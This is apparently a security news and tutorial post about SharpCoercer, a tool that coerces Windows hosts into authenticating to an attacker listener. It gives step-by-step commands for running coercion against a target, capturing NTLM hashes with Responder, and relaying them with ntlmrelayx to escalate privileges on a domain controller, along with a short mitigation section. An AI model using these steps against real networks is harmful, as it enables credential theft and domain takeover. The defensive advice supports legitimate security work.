SharpCoercer: The Next-Gen Tool for Windows Authentication Coercion

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Introduction

SharpCoercer is a powerful .NET 4.8 C tool designed to exploit Windows authentication protocols by coercing hosts into initiating SMB or HTTP connections to an attacker-controlled listener. This tool serves as an advanced alternative to Coercer, leveraging 16 RPC-based methods to enhance penetration testing and red team engagements.

Learning Objectives

  • Understand how SharpCoercer exploits Windows authentication mechanisms.
  • Learn how to set up and execute SharpCoercer for security assessments.
  • Explore mitigation techniques to protect against coercion attacks.

You Should Know

1. SharpCoercer Installation and Setup

Command:

git clone https://github.com/username/SharpCoercer.git 
cd SharpCoercer 
dotnet build

Step-by-Step Guide:

1. Clone the repository using Git.

2. Navigate to the project directory.

3. Build the tool using .NET 4.8.

  1. Execute the compiled binary to view available coercion methods.

2. Executing a Basic Coercion Attack

Command:

SharpCoercer.exe --target <IP> --method <RPC_METHOD> --listener <ATTACKER_IP>

Step-by-Step Guide:

1. Specify the target IP address.

  1. Choose an RPC-based coercion method (e.g., `PetitPotam` or PrinterBug).
  2. Set the attacker’s listener IP for capturing authentication attempts.

4. Monitor incoming SMB/HTTP connections for NTLM hashes.

3. Capturing NTLM Hashes with Responder

Command:

sudo responder -I eth0 -v

Step-by-Step Guide:

  1. Run Responder on the attacker machine to intercept authentication requests.
  2. SharpCoercer forces the target to authenticate to your listener.
  3. Capture NTLMv2 hashes for offline cracking or relay attacks.

4. Mitigating Coercion Attacks

Windows Command:

Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters" -Name "RestrictNullSessAccess" -Value 1 -Type DWORD

Step-by-Step Guide:

1. Disable anonymous SMB access via Registry.

2. Apply SMB signing to prevent relay attacks.

3. Disable unnecessary RPC endpoints via Group Policy.

5. Advanced: Relay Attacks with ntlmrelayx

Command:

ntlmrelayx.py -t ldap://<DC_IP> --escalate-user <USER>

Step-by-Step Guide:

  1. Use captured hashes to relay authentication to a Domain Controller.

2. Escalate privileges or dump AD data.

3. Implement LDAP/SMB signing to block relay attempts.

What Undercode Say

  • Key Takeaway 1: SharpCoercer simplifies Windows coercion attacks, making it a must-have for red teams.
  • Key Takeaway 2: Defenders must harden RPC/SMB configurations to prevent exploitation.

Analysis:

SharpCoercer’s versatility in leveraging multiple RPC methods highlights the fragility of Windows authentication protocols. While red teams benefit from its efficiency, organizations must prioritize patching, network segmentation, and strict access controls. The tool’s release underscores the need for continuous adversarial simulation to identify and remediate coercion vulnerabilities before attackers exploit them.

Prediction

As coercion techniques evolve, expect more tools like SharpCoercer to automate and refine these attacks. Microsoft may eventually deprecate vulnerable protocols, but until then, proactive defense remains critical. Organizations adopting Zero Trust architectures will be better positioned to mitigate such threats.

IT/Security Reporter URL:

Reported By: Shrfnt77 Sharpcoercer – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅

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